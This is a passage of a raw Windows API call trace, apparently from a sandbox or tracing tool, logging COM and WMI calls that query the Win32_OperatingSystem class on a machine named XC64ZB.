riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0287.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0287.940] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b201bb8) returned 0x0 [0287.941] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b201bb8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0287.941] WbemLocator:IUnknown:Release (This=0x1b201bb8) returned 0x3 [0287.941] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0287.941] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0287.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b201ca0) returned 0x0 [0287.941] WbemLocator:IRpcOptions:Query (in: This=0x1b201ca0, pPrx=0x1b201cd8, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0287.941] WbemLocator:IUnknown:Release (This=0x1b201ca0) returned 0x3 [0287.941] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0287.941] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0287.941] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0287.941] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1d2908f0) returned 0x0 [0287.941] WbemLocator:IUnknown:AddRef (This=0x1d2908f0) returned 0x4 [0287.942] WbemLocator:IUnknown:Release (This=0x1d2908f0) returned 0x3 [0287.942] WbemLocator:IUnknown:Release (This=0x1d2908f0) returned 0x2 [0287.942] SysStringLen (param_1=0x0) returned 0x0 [0287.942] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0287.942] WbemLocator:IUnknown:AddRef (This=0x1b201cd8) returned 0x3 [0287.942] WbemLocator:IUnknown:QueryInterface (in: This=0x1b201cd8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b201cd8) returned 0x0 [0287.942] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x3 [0287.942] WbemLocator:IUnknown:Release (This=0x1b201cd8) returned 0x2 [0287.942] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0287.942] WbemLocator:IUnknown:AddRef (This=0x1d2908f0) returned 0x3 [0287.942] IWbemServices:ExecQuery (in: This=0x1d2908f0, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b287430) returned 0x0 [0287.963] IUnknown:QueryInterface (in: This=0x1b287430, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b287438) returned 0x0 [0287.964] IClientSecurity:QueryBlanket (in: This=0x1b287438, pProxy=0x1b287430, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0287.964] IUnknown:Release (This=0x1b287438) returned 0x1 [0287.964] IUnknown:QueryInterface (in: This=0x1b287430, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b202d18) returned 0x0 [0287.964] IUnknown:QueryInterface (in: This=0x1b287430, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b287438) returned 0x0 [0287.964] IClientSecurity:SetBlanket (This=0x1b287438, pProxy=0x1b287430, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0287.981] IUnknown:Release (This=0x1b287438) returned 0x2 [0287.981] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x1 [0287.981] CoTaskMemFree (pv=0x1d1e6ba0) [0287.982] IUnknown:QueryInterface (in: This=0x1b287430, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b202d18) returned 0x0 [0287.982] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0287.983] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0287.983] IUnknown:QueryInterface (in: This=0x1b287430, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0287.984] WbemLocator:IUnknown:AddRef (This=0x1b202d18) returned 0x3 [0287.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0287.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0287.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b202bf8) returned 0x0 [0287.984] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202bf8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0287.984] WbemLocator:IUnknown:Release (This=0x1b202bf8) returned 0x3 [0287.984] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0287.984] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0287.984] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b202ce0) returned 0x0 [0287.985] WbemLocator:IRpcOptions:Query (in: This=0x1b202ce0, pPrx=0x1b202d18, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0287.985] WbemLocator:IUnknown:Release (This=0x1b202ce0) returned 0x3 [0287.985] WbemLocator:IUnknown:Release (This=0x1b202d18) returned 0x2 [0287.985] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0287.985] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0287.985] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202d18, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b287430) returned 0x0 [0287.985] IUnknown:AddRef (This=0x1b287430) returned 0x4 [0287.985] IUnknown:Release (This=0x1b287430) returned 0x3 [0287.985] IUnknown:Release (This=0x1b287430) returned 0x2 [0287.985] WbemLocator:IUnknown:Release (This=0x1d2908f0) returned 0x2 [0287.985] SysStringLen (param_1=0x0) returned 0x0 [0287.985] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0287.985] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0287.985] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0287.986] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0287.986] IUnknown:AddRef (This=0x1b287430) returned 0x3 [0287.986] IEnumWbemClassObject:Clone (in: This=0x1b287430, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b286080) returned 0x0 [0287.987] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b286088) returned 0x0 [0287.988] IClientSecurity:QueryBlanket (in: This=0x1b286088, pProxy=0x1b286080, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, pAuthzSvc=0x1da9e360*=0x0, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364*=0x6, pImpLevel=0x1da9e370*=0x2, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374*=0x1) returned 0x0 [0287.988] IUnknown:Release (This=0x1b286088) returned 0x1 [0287.988] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2b0 | out: ppvObject=0x1da9e2b0*=0x1b2031f8) returned 0x0 [0287.988] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2c0 | out: ppvObject=0x1da9e2c0*=0x1b286088) returned 0x0 [0287.988] IClientSecurity:SetBlanket (This=0x1b286088, pProxy=0x1b286080, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0287.990] IUnknown:Release (This=0x1b286088) returned 0x2 [0287.990] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x1 [0287.990] CoTaskMemFree (pv=0x1d1e6e40) [0287.990] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd70 | out: ppvObject=0x1da9dd70*=0x1b2031f8) returned 0x0 [0287.990] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9de00 | out: ppvObject=0x1da9de00*=0x0) returned 0x80004002 [0287.991] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x0) returned 0x80004002 [0287.991] IUnknown:QueryInterface (in: This=0x1b286080, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5f8 | out: ppvObject=0x1da9d5f8*=0x0) returned 0x80004002 [0287.992] WbemLocator:IUnknown:AddRef (This=0x1b2031f8) returned 0x3 [0287.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d4b8 | out: ppvObject=0x1da9d4b8*=0x0) returned 0x80004002 [0287.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d440 | out: ppvObject=0x1da9d440*=0x0) returned 0x80004002 [0287.992] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d430 | out: ppvObject=0x1da9d430*=0x1b2030d8) returned 0x0 [0287.992] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2030d8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d458 | out: pCid=0x1da9d458*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0287.992] WbemLocator:IUnknown:Release (This=0x1b2030d8) returned 0x3 [0287.992] CoGetContextToken (in: pToken=0x1da9d4e0 | out: pToken=0x1da9d4e0) returned 0x0 [0287.992] CoGetContextToken (in: pToken=0x1da9d960 | out: pToken=0x1da9d960) returned 0x0 [0287.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da20 | out: ppvObject=0x1da9da20*=0x1b2031c0) returned 0x0 [0287.993] WbemLocator:IRpcOptions:Query (in: This=0x1b2031c0, pPrx=0x1b2031f8, dwProperty=2, pdwValue=0x1da9da10 | out: pdwValue=0x1da9da10) returned 0x80004002 [0287.993] WbemLocator:IUnknown:Release (This=0x1b2031c0) returned 0x3 [0287.993] WbemLocator:IUnknown:Release (This=0x1b2031f8) returned 0x2 [0287.993] CoGetContextToken (in: pToken=0x1da9e020 | out: pToken=0x1da9e020) returned 0x0 [0287.993] CoGetContextToken (in: pToken=0x1da9df20 | out: pToken=0x1da9df20) returned 0x0 [0287.993] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2031f8, riid=0x1da9e080*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e050 | out: ppvObject=0x1da9e050*=0x1b286080) returned 0x0 [0287.993] IUnknown:AddRef (This=0x1b286080) returned 0x4 [0287.993] IUnknown:Release (This=0x1b286080) returned 0x3 [0287.993] IUnknown:Release (This=0x1b286080) returned 0x2 [0287.993] IUnknown:Release (This=0x1b287430) returned 0x2 [0287.993] SysStringLen (param_1=0x0) returned 0x0 [0287.993] IEnumWbemClassObject:Reset (This=0x1b286080) returned 0x0 [0287.994] CoTaskMemAlloc (cb=0x8) returned 0x1d1c0da0 [0287.994] IEnumWbemClassObject:Next (in: This=0x1b286080, lTimeout=-1, uCount=0x1, apObjects=0x1d1c0da0, puReturned=0x280fe08 | out: apObjects=0x1d1c0da0*=0x1b269a20, puReturned=0x280fe08*=0x1) returned 0x0 [0288.000] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b269a20) returned 0x0 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9d9a0 | out: ppvObject=0x1da9d9a0*=0x0) returned 0x80004002 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d198 | out: ppvObject=0x1da9d198*=0x0) returned 0x80004002 [0288.001] IUnknown:AddRef (This=0x1b269a20) returned 0x3 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d058 | out: ppvObject=0x1da9d058*=0x0) returned 0x80004002 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9cfe0 | out: ppvObject=0x1da9cfe0*=0x0) returned 0x80004002 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9cfd0 | out: ppvObject=0x1da9cfd0*=0x1b269a28) returned 0x0 [0288.001] IMarshal:GetUnmarshalClass (in: This=0x1b269a28, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9cff8 | out: pCid=0x1da9cff8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0288.001] IUnknown:Release (This=0x1b269a28) returned 0x3 [0288.001] CoGetContextToken (in: pToken=0x1da9d080 | out: pToken=0x1da9d080) returned 0x0 [0288.001] CoGetContextToken (in: pToken=0x1da9d500 | out: pToken=0x1da9d500) returned 0x0 [0288.001] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d5c0 | out: ppvObject=0x1da9d5c0*=0x0) returned 0x80004002 [0288.002] IUnknown:Release (This=0x1b269a20) returned 0x2 [0288.002] CoGetContextToken (in: pToken=0x1da9dbc0 | out: pToken=0x1da9dbc0) returned 0x0 [0288.002] CoGetContextToken (in: pToken=0x1da9dac0 | out: pToken=0x1da9dac0) returned 0x0 [0288.002] IUnknown:QueryInterface (in: This=0x1b269a20, riid=0x1da9dc20*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9dbf0 | out: ppvObject=0x1da9dbf0*=0x1b269a20) returned 0x0 [0288.002] IUnknown:AddRef (This=0x1b269a20) returned 0x4 [0288.002] IUnknown:Release (This=0x1b269a20) returned 0x3 [0288.002] IUnknown:Release (This=0x1b269a20) returned 0x2 [0288.002] CoTaskMemFree (pv=0x1d1c0da0) [0288.002] CoGetContextToken (in: pToken=0x1da9df90 | out: pToken=0x1da9df90) returned 0x0 [0288.002] IUnknown:AddRef (This=0x1b269a20) returned 0x3 [0288.002] IWbemClassObject:Get (in: This=0x1b269a20, wszName="__GENUS", lFlags=0, pVal=0x1da9e550*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e678*=0, plFlavor=0x1da9e670*=0 | out: pVal=0x1da9e550*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1da9e678*=3, plFlavor=0x1da9e670*=64) returned 0x0 [0288.002] IWbemClassObject:Get (in: This=0x1b269a20, wszName="__PATH", lFlags=0, pVal=0x1da9e500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1da9e630*=0, plFlavor=0x1da9e628*=0 | out: pVal=0x1da9e500*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"", varVal2=0x0), pType=0x1da9e630*=8, plFlavor=0x1da9e628*=64) returned 0x0 [0288.003] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0288.003] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x72 [0288.003] CoGetObjectContext (in: riid=0x22967c0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e578 | out: ppv=0x1da9e578*=0x77dd58) returned 0x0 [0288.003] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e568 | out: pAptType=0x1da9e568*=1) returned 0x0 [0288.003] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x22967a0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e570 | out: ppvObject=0x1da9e570*=0x0) returned 0x80004002 [0288.003] IUnknown:Release (This=0x77dd58) returned 0x1 [0288.005] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, 